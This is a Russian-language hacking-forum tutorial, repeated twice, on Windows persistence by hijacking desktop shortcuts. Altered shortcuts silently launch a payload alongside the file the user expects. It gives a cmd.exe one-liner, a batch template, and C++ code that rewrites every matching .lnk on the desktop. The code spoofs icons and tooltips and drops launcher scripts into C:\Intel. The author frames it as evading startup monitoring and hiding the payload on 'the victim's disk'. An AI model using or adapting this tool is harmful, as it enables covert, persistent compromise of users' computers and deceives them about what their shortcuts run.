Автор: user_47 (members/319714/)
Специально для: xss.pro
Всем салют!
Сегодня предлагаю рассмотреть чрезмерно тривиальный способ закрепления в системе Windows. При этом нас мало будет интересовать с какой версией системы предстоит работа. Так как мы будем использовать ярлыки созданные самим пользователем для своего удобства на рабочем столе. Идея заключается в следующем. Вносим такие изменения в существующие ярлыки, которые позволят по клику на ярлык отобразить пользователю то что он ожидает увидеть плюс произвести запуск нашей полезной нагрузки. В начале соберём всю конструкцию руками. Проверим как она работает. А потом это дело автоматизируем.
0x01. Описание идеи.
0x02. Исходные данные и постановка задачи.
0x03. Внешний вид.
0x04. Двойное дно.
0x05. Сборка.
0x06. Автоматизация редактирования ярлыков.
0x07. Заключение.
0x01. Описание идеи.
При чтении очередного годового отчёта безопасников наткнулся на очень простую идею закрепления в системе Windows. Использование ярлыков на рабочем столе. Подозреваю что идея не нова. Тем не менее меня она зацепила своей простотой и на мой взгляд эффективностью. Что меня ещё больше удивило, так это её отсутствие в миллионе статей про persistens на ресурсах об WhiteHat. На форме мне удалось найти лишь одно упоминание об предложенном способе в рамках статьи про различные способы закрепа. Посчитал тему не раскрытой. И решил разобраться самостоятельно.
0x02. Исходные данные и постановка задачи.
Какими ярлыками обычно завалены рабочие столы рядовых юзеров? Из всех возможных вариантов для упрощения задачи я выделил четыре наиболее популярные группы. Это ярлыки которые ссылаются на файлы txt, на исполняемые файлы exe, на папки и на офисные таблицы Microsoft Excel.
Теперь подумаем какой результат мы должны получить после внедрения в тушку ярлыка. Во-первых, после наших манипуляций ярлык должен выглядеть как прежде. Во-вторых, при клике на него пользователь должен увидеть то, что ожидает увидеть. То есть если это ярлык на папку, то должна открыться папка. Если ярлык на документ, открывается документ с паролями
Если любимая игрулька от которой хочется хлопать в ладоши, то нельзя лишать юзера такого удовольствия. Идея думаю тут понятна. Разберёмся с этим вопросом подробнее.
0x03. Внешний вид.
Что у файла LNK может выдать наше вмешательство? Начну с не очевидного - всплывающая подсказка. Показывает из какого места будет запускаться объект, на который ссылается ярлык. Она появляется при наведении курсора на иконку значка на рабочем столе когда все окна закрыты или неактивны. Здесь проблема решается просто. Меняем в свойствах ярлыка поле "Комментарий:" на нужное и дело в белой шляпе).
Второе - это иконка самого ярлыка. По умолчанию она выбирается такая же как у файла на который ссылается ярлык. При изменении объекта ярлыка иконка поменяется автоматически. Такое изменение легко заметит даже самый слепой юзер. Но нам повезло. Руками в свойствах есть возможность исправить иконку на необходимую. С визуалом разобрались. Можно переходить к более интересному.
0x04. Двойное дно.
Как сделать магию, при которой по двойному клику на значке ярлыка юзеру откроется привычное оконце и незаметно для него отработает нагрузка? Тут доступно несколько вариантов. Самый простой и не самый плохой это поместить в поле ярлыка "Объект:" строку такого вида:
тут в качестве нагрузки будет calc.exe. app_user приложение пользователя запуск которого он ожидает.
Достоинство такого способа это отсутствие необходимости помещать на жёсткий диск юзера лишние файлы в виде скриптов (только файл полезной нагрузки). Недостаток, это использование cmd. Почему то системы безопасности корпов часто следят за запуском этого экзешника
Я решил пойти более геморным путём и прописать в объекте ярлыка такой скрипт или приложение, которое как раз и сделает нужные нам действия. В своём варианте я буду использовать очень простенький BAT файл. Не возбраняется ссылаться на исполняемый файл. В иных случаях может быть целесообразно применить скрипты написанные на VBS, JScript или PowerShell. Только надо понимать, что стандартные интерпретаторы названых языков в корпоративных средах находятся под колпаком. И чтобы реализовать запуск стоит посмотреть на проект LOLBAS. Такой ход не даёт стопроцентной гарантии успеха запуска. Он даёт возможность побороться и не сдаваться сразу.
0x05. Сборка.
Давайте попробуем всё что я описал собрать руками и посмотреть как это будет выглядеть и работать на практике. В тестовой среде я создал нового юзера и сделал у него в документах три типовых файлика и папку. На рабочем столе создал для них ярлыки. Затем определил на жёстком диске укромное место, где будет храниться полезная нагрузка и батники. В качестве полезной нагрузки традиционно применим калькулятор.
Создадим руками батники для каждого ярлыка. Прикинем что будем писать в батнике для реализации хитроумного плана с двойным дном:
Первой строкой просим не отображать черное окошко cmd перед лицом юзера. Дальше запускаем что должен увидеть юзер. Третья строка запускает нашу нагрузку.
Запустим, чтобы оценить работоспособность моей идеи на этом этапе.
Дальше исправляем ярлыки. Видим кривые иконки.
Принимаем меры. Для файлов txt стандартная иконка храниться в файле C:\Windows\System32\SHELL32.dll или C:\Windows\System32\imageres.dll
Там же для папки.
Стоит отметить, что Windows применяет разные значки для пустых и полных папок. Стоит на это обратить внимание при работе с такими ярлыками. Нам потребуется иконка для полной папки. Потому что навряд ли пользователь будет делать для себя ярлыки к пустым папкам. Для исполняемых файлов всё проще. Иконка храниться прямо в бинарнике на который ссылается ярлык.
На первый взгляд уже всё хорошо. Сейчас нас может подвести только всплывающая подсказка.
Надо поправить. Для этого пишем в поле "Комментарий:" нужную строку.
Мы сделали всё чтобы не спровоцировать пользователя залезть в свойства ярлыка. Если всё таки это окошко будет открыто под подозрение может сразу попасть поле "Объект:". Чтобы не напрягать юзра просто через пробел дописываем в конец путь до файла, на который этот ярлык должен ссылаться. Либо при запуске через cmd вторым параметром указываем именно легитимный файл пользователя. Результат видим на скрине. Если путь до этого файла будет длиннее, тогда пользователю отобразиться только конец строки, где как раз и будет прописан легитимный файл или папка.
Ещё один двойной клик по ярлыку и видим успешный запуск пользовательских окошек и нашей нагрузки. Смотрим что происходит при этом в Диспетчере задачь:
Самостоятельно запущенные процессы, без привязки к cmd или powershell. Можно переходить к автоматизации задумки.
0x06. Автоматизация редактирования ярлыков.
Для автоматизации всех описанных выше действий накидал алгоритм будущей программы:
Оживлять этот алгоритм будем на С++ с применением WinAPI и COM - интерфейсов. Прога написана в виде демонстрации возможностей по автоматизации предложенного метода. И для использования такого варианта в боевых условиях требует кое-каких доработок.
Путь до папки рабочего стола находим через функцию GetPathDesktop. Основа этой функции винапишная функция SHGetKnownFolderPath:
Поиск ярлыков в найденой папке делаем с помощью функции FindFirstFileW:
Если нашли ярлык, запускаем функцию EditLnk. Эта функция построена на основе COM - интерфейсов IShellLink и IPersistFile.
Используя метод GetPath в интерфейсе IShellLink определяем файл, на который ссылается найденый ярлык. Полный путь до него с именем самого файла складываем в переменную target. В поле cFileName структуры wfd будет лежать имя файла, на который ссылается ярлык.
Функцией GetFileTypeInLnk будем определять какое расширение у файла, на который ссылается ярлык.
Расширение складываем в переменную targetType
Ищем нужное расширение. Определяем для него адрес файла с нужной иконкой и индекс иконки в этом файле. Переменная check нужна чтобы понять, что нужный тип был обнаружен.
Если нашли нужное расширение пытаемся создать на диске файл скрипта. Применяем функцию CreateScript.
Тут есть один ньюанс. Тип переменной в которой готовим данные для записи в батник DataInFile обязательно должен быть std::string или char. То есть исползовать один байт для записи одного символа. Если заполнить батник из переменной которая для одного символа тратит два байта (std::wstring или wchar_t) тогда этот батник не запуститься.
В случае успешной записи скрипта на диск начинаем подготавливать изменения для файла ярлыка:
Если всё подготовилось успешно, изменяем файл ярлыка.
0x07. Заключение.
В тексте статьи я предложил для закрепа использовать ярлыки ссылающиеся на четыре типа файлов. А в программе реализовал работу только с тремя. Проигнорировал таблички эксельки. Решил всё таки не накатывать ради одной статьи творение мелкомягких в свою среду разработки. И оставить этот момент для самостоятельной работы.
Достоинства предложенного метода закрепления:
- низкие права в системе;
- никакой софт мониторинга стандартных мест автозагрузки не спалит наш закреп;
- при просмотре диспетчера задачь наша нагрузка будет выглядеть вполне лигитимно.
Минусы:
- недопустимо пользоваться прогой дважды под одним юзером. Так как после первого запуска в ярлыке будет прописан адрес до нашего скрипта. При повторном запуске проги, этот адрес запишется в наш скрипт. И при клике по ярлыку мы получем циклический вызов нашей нагузки. Выглядит это на экране очень эпично
- могут быть проблемы с запуском скриптов под стандартными итерпритаторами;
- приходиться помещать нагрузку и вспомогательные скрипты на диске жертвы.
В архиве только исходник. Пасс местный в base64
Спасибо за внимание!
Специально для: xss.pro
Всем салют!
Сегодня предлагаю рассмотреть чрезмерно тривиальный способ закрепления в системе Windows. При этом нас мало будет интересовать с какой версией системы предстоит работа. Так как мы будем использовать ярлыки созданные самим пользователем для своего удобства на рабочем столе. Идея заключается в следующем. Вносим такие изменения в существующие ярлыки, которые позволят по клику на ярлык отобразить пользователю то что он ожидает увидеть плюс произвести запуск нашей полезной нагрузки. В начале соберём всю конструкцию руками. Проверим как она работает. А потом это дело автоматизируем.
0x01. Описание идеи.
0x02. Исходные данные и постановка задачи.
0x03. Внешний вид.
0x04. Двойное дно.
0x05. Сборка.
0x06. Автоматизация редактирования ярлыков.
0x07. Заключение.
0x01. Описание идеи.
При чтении очередного годового отчёта безопасников наткнулся на очень простую идею закрепления в системе Windows. Использование ярлыков на рабочем столе. Подозреваю что идея не нова. Тем не менее меня она зацепила своей простотой и на мой взгляд эффективностью. Что меня ещё больше удивило, так это её отсутствие в миллионе статей про persistens на ресурсах об WhiteHat. На форме мне удалось найти лишь одно упоминание об предложенном способе в рамках статьи про различные способы закрепа. Посчитал тему не раскрытой. И решил разобраться самостоятельно.
0x02. Исходные данные и постановка задачи.
Какими ярлыками обычно завалены рабочие столы рядовых юзеров? Из всех возможных вариантов для упрощения задачи я выделил четыре наиболее популярные группы. Это ярлыки которые ссылаются на файлы txt, на исполняемые файлы exe, на папки и на офисные таблицы Microsoft Excel.
Теперь подумаем какой результат мы должны получить после внедрения в тушку ярлыка. Во-первых, после наших манипуляций ярлык должен выглядеть как прежде. Во-вторых, при клике на него пользователь должен увидеть то, что ожидает увидеть. То есть если это ярлык на папку, то должна открыться папка. Если ярлык на документ, открывается документ с паролями
0x03. Внешний вид.
Что у файла LNK может выдать наше вмешательство? Начну с не очевидного - всплывающая подсказка. Показывает из какого места будет запускаться объект, на который ссылается ярлык. Она появляется при наведении курсора на иконку значка на рабочем столе когда все окна закрыты или неактивны. Здесь проблема решается просто. Меняем в свойствах ярлыка поле "Комментарий:" на нужное и дело в белой шляпе).
Второе - это иконка самого ярлыка. По умолчанию она выбирается такая же как у файла на который ссылается ярлык. При изменении объекта ярлыка иконка поменяется автоматически. Такое изменение легко заметит даже самый слепой юзер. Но нам повезло. Руками в свойствах есть возможность исправить иконку на необходимую. С визуалом разобрались. Можно переходить к более интересному.
0x04. Двойное дно.
Как сделать магию, при которой по двойному клику на значке ярлыка юзеру откроется привычное оконце и незаметно для него отработает нагрузка? Тут доступно несколько вариантов. Самый простой и не самый плохой это поместить в поле ярлыка "Объект:" строку такого вида:
cmd.exe /c calc.exe & C:\Users\TestUser\Documents\app_user.exeтут в качестве нагрузки будет calc.exe. app_user приложение пользователя запуск которого он ожидает.
Достоинство такого способа это отсутствие необходимости помещать на жёсткий диск юзера лишние файлы в виде скриптов (только файл полезной нагрузки). Недостаток, это использование cmd. Почему то системы безопасности корпов часто следят за запуском этого экзешника
Я решил пойти более геморным путём и прописать в объекте ярлыка такой скрипт или приложение, которое как раз и сделает нужные нам действия. В своём варианте я буду использовать очень простенький BAT файл. Не возбраняется ссылаться на исполняемый файл. В иных случаях может быть целесообразно применить скрипты написанные на VBS, JScript или PowerShell. Только надо понимать, что стандартные интерпретаторы названых языков в корпоративных средах находятся под колпаком. И чтобы реализовать запуск стоит посмотреть на проект LOLBAS. Такой ход не даёт стопроцентной гарантии успеха запуска. Он даёт возможность побороться и не сдаваться сразу.
0x05. Сборка.
Давайте попробуем всё что я описал собрать руками и посмотреть как это будет выглядеть и работать на практике. В тестовой среде я создал нового юзера и сделал у него в документах три типовых файлика и папку. На рабочем столе создал для них ярлыки. Затем определил на жёстком диске укромное место, где будет храниться полезная нагрузка и батники. В качестве полезной нагрузки традиционно применим калькулятор.
Создадим руками батники для каждого ярлыка. Прикинем что будем писать в батнике для реализации хитроумного плана с двойным дном:
Код:
@echo off
start C:\Users\TestUser\Documents\folder_user
start C:\Intel\payload.exe
Первой строкой просим не отображать черное окошко cmd перед лицом юзера. Дальше запускаем что должен увидеть юзер. Третья строка запускает нашу нагрузку.
Запустим, чтобы оценить работоспособность моей идеи на этом этапе.
Дальше исправляем ярлыки. Видим кривые иконки.
Принимаем меры. Для файлов txt стандартная иконка храниться в файле C:\Windows\System32\SHELL32.dll или C:\Windows\System32\imageres.dll
Там же для папки.
Стоит отметить, что Windows применяет разные значки для пустых и полных папок. Стоит на это обратить внимание при работе с такими ярлыками. Нам потребуется иконка для полной папки. Потому что навряд ли пользователь будет делать для себя ярлыки к пустым папкам. Для исполняемых файлов всё проще. Иконка храниться прямо в бинарнике на который ссылается ярлык.
На первый взгляд уже всё хорошо. Сейчас нас может подвести только всплывающая подсказка.
Надо поправить. Для этого пишем в поле "Комментарий:" нужную строку.
Мы сделали всё чтобы не спровоцировать пользователя залезть в свойства ярлыка. Если всё таки это окошко будет открыто под подозрение может сразу попасть поле "Объект:". Чтобы не напрягать юзра просто через пробел дописываем в конец путь до файла, на который этот ярлык должен ссылаться. Либо при запуске через cmd вторым параметром указываем именно легитимный файл пользователя. Результат видим на скрине. Если путь до этого файла будет длиннее, тогда пользователю отобразиться только конец строки, где как раз и будет прописан легитимный файл или папка.
Ещё один двойной клик по ярлыку и видим успешный запуск пользовательских окошек и нашей нагрузки. Смотрим что происходит при этом в Диспетчере задачь:
Самостоятельно запущенные процессы, без привязки к cmd или powershell. Можно переходить к автоматизации задумки.
0x06. Автоматизация редактирования ярлыков.
Для автоматизации всех описанных выше действий накидал алгоритм будущей программы:
Код:
- определяем папку рабочего стола пользователя под которым запустились
- ищем ярлыки в этой папке
- если нашли ярлык
- определяем объект на который он ссылается
- определяем расширение этого объекта
- если найдено нужное расширение
- пробуем записать в папку скрипт с ссылкой на запуск объекта
- если файл скрипта успешно создан
- изменяем ярлык, чтобы он ссылался на наш скрипт
- изменяем значок ярлыка
- изменяем комментарий ярлыка
Оживлять этот алгоритм будем на С++ с применением WinAPI и COM - интерфейсов. Прога написана в виде демонстрации возможностей по автоматизации предложенного метода. И для использования такого варианта в боевых условиях требует кое-каких доработок.
Путь до папки рабочего стола находим через функцию GetPathDesktop. Основа этой функции винапишная функция SHGetKnownFolderPath:
C++:
std::wstring GetPathDesktop() {
PWSTR desktopPath = NULL;
// Получаем путь к папке рабочего стола
HRESULT hr = SHGetKnownFolderPath(FOLDERID_Desktop, 0, NULL, &desktopPath);
if (SUCCEEDED(hr)) { return desktopPath; }
else { return L"Error"; }
}
Поиск ярлыков в найденой папке делаем с помощью функции FindFirstFileW:
C++:
// Формируем маску для поиска файлов с заданным расширением
std::wstring searchPath = pathDesktop + L"\\*.lnk";
// ищем ярлыки на рабочем столе
WIN32_FIND_DATAW findFileData;
HANDLE hFind = FindFirstFileW(searchPath.c_str(), &findFileData);
if (hFind == INVALID_HANDLE_VALUE) {
std::wcout << L"Error find path desktop: " << searchPath << std::endl;
return 0;
}
else {
std::wcout << L"File in desktop find." << searchPath << std::endl;
}
do {
// Проверяем, является ли найденный файл обычным файлом (не директорией)
if (!(findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
// формируем путь до найденного на рабочем столе ярлыка
std::wstring pathLnk = pathDesktop + L"\\" + findFileData.cFileName;
std::wcout << L"Find LNK file: " << pathLnk << std::endl;
// запускаем процесс его модификации
EditLnk(pathLnk, std::wstring(findFileData.cFileName));
}
else {
std::wcout << L"Find file not file" << std::endl;
}
} while (FindNextFileW(hFind, &findFileData) != 0);
// Закрываем хэндл
FindClose(hFind);
Если нашли ярлык, запускаем функцию EditLnk. Эта функция построена на основе COM - интерфейсов IShellLink и IPersistFile.
Используя метод GetPath в интерфейсе IShellLink определяем файл, на который ссылается найденый ярлык. Полный путь до него с именем самого файла складываем в переменную target. В поле cFileName структуры wfd будет лежать имя файла, на который ссылается ярлык.
C++:
// получаем адрес файла на который ссылается ярлык
hres = pShellLink->GetPath(target, _MAX_PATH, &wfd, SLGP_SHORTPATH);
if (SUCCEEDED(hres)) { std::wcout << L"Path to target: " << target << std::endl; }
Функцией GetFileTypeInLnk будем определять какое расширение у файла, на который ссылается ярлык.
C++:
std::wstring GetFileTypeInLnk(const std::wstring& filePath) {
size_t dotPos = filePath.find_last_of(L'.');
if (dotPos != std::wstring::npos) {
return filePath.substr(dotPos);
}
return L"";
}
Расширение складываем в переменную targetType
std::wstring targetType = GetFileTypeInLnk(target);Ищем нужное расширение. Определяем для него адрес файла с нужной иконкой и индекс иконки в этом файле. Переменная check нужна чтобы понять, что нужный тип был обнаружен.
C++:
// тхт файл
if (targetType == L".txt") {
pathIcon = L"C:\\Windows\\System32\\SHELL32.dll";
indexIcon = 70;
check = true;
}
Если нашли нужное расширение пытаемся создать на диске файл скрипта. Применяем функцию CreateScript.
C++:
// создание файла скрипта
std::wstring CreateScript(std::wstring FolderSaveScr, std::wstring NameLnk, std::string Target) {
// Имя файла скрипта
std::wstring PathScr = L"C:\\Intel\\" + NameLnk + L".bat";
// Создаем файл скрипта
HANDLE hFile = CreateFileW(
PathScr.c_str(), // Имя файла
GENERIC_WRITE, // Открыть для записи
0, // Нет совместного доступа
NULL, // Без атрибутов безопасности
CREATE_ALWAYS, // Создать новый файл, перезаписать если существует
FILE_ATTRIBUTE_NORMAL, // Обычный файл
NULL // Нет шаблона файла
);
// Проверяем, удалось ли открыть файл
if (hFile == INVALID_HANDLE_VALUE) {
std::cerr << "File not open. Error #: " << GetLastError() << std::endl;
return L"false";
}
// Данные для записи
std::string DataInFile = "@echo off\nstart ";
DataInFile += Target;
DataInFile += "\nstart C:\\Intel\\payload.exe";
DWORD bytesWritten; // Количество записанных байтов
// Записываем данные в файл
BOOL result = WriteFile(
hFile, // Дескриптор файла
DataInFile.c_str(), // Указатель на данные для записи
DataInFile.size(), // Количество байтов для записи
&bytesWritten, // Количество записанных байтов
NULL // Не используем асинхронный ввод-вывод
);
// Проверяем, была ли запись успешной
if (!result) {
std::cerr << "Error write in file. Error #: " << GetLastError() << std::endl;
CloseHandle(hFile); // Закрываем дескриптор файла перед выходом
return L"false"; // Возвращаем код ошибки
}
// Закрываем дескриптор файла
CloseHandle(hFile);
return PathScr;
}
Тут есть один ньюанс. Тип переменной в которой готовим данные для записи в батник DataInFile обязательно должен быть std::string или char. То есть исползовать один байт для записи одного символа. Если заполнить батник из переменной которая для одного символа тратит два байта (std::wstring или wchar_t) тогда этот батник не запуститься.
В случае успешной записи скрипта на диск начинаем подготавливать изменения для файла ярлыка:
C++:
// Изменяем ярлык, чтобы он ссылался на наш скрипт
hres = pShellLink->SetPath(PathScr.c_str());
if (SUCCEEDED(hres)) { std::wcout << L"Set new path in Lnk." << std::endl; }
// изменяем значок ярлыка
hres = pShellLink->SetIconLocation(pathIcon.c_str(), indexIcon);
if (SUCCEEDED(hres)) { std::wcout << L"Set new Icon location in Lnk." << std::endl; }
// изменяем комментарий ярлыка
std::wstring DescrLnk = L"Расположение: " + std::wstring(wfd.cFileName) + L" (" + target + L")";
hres = pShellLink->SetDescription(DescrLnk.c_str());
if (SUCCEEDED(hres)) { std::wcout << L"Set new Description in Lnk." << std::endl; }
Если всё подготовилось успешно, изменяем файл ярлыка.
C++:
hres = pPersistFile->Save(LnkPath.c_str(), FALSE);
if (SUCCEEDED(hres)) {
std::wcout << L"Lnk edit successful." << std::endl;
}
else {
std::wcout << L"Error save Lnk." << std::endl;
}
0x07. Заключение.
В тексте статьи я предложил для закрепа использовать ярлыки ссылающиеся на четыре типа файлов. А в программе реализовал работу только с тремя. Проигнорировал таблички эксельки. Решил всё таки не накатывать ради одной статьи творение мелкомягких в свою среду разработки. И оставить этот момент для самостоятельной работы.
Достоинства предложенного метода закрепления:
- низкие права в системе;
- никакой софт мониторинга стандартных мест автозагрузки не спалит наш закреп;
- при просмотре диспетчера задачь наша нагрузка будет выглядеть вполне лигитимно.
Минусы:
- недопустимо пользоваться прогой дважды под одним юзером. Так как после первого запуска в ярлыке будет прописан адрес до нашего скрипта. При повторном запуске проги, этот адрес запишется в наш скрипт. И при клике по ярлыку мы получем циклический вызов нашей нагузки. Выглядит это на экране очень эпично
- могут быть проблемы с запуском скриптов под стандартными итерпритаторами;
- приходиться помещать нагрузку и вспомогательные скрипты на диске жертвы.
В архиве только исходник. Пасс местный в base64
Спасибо за внимание!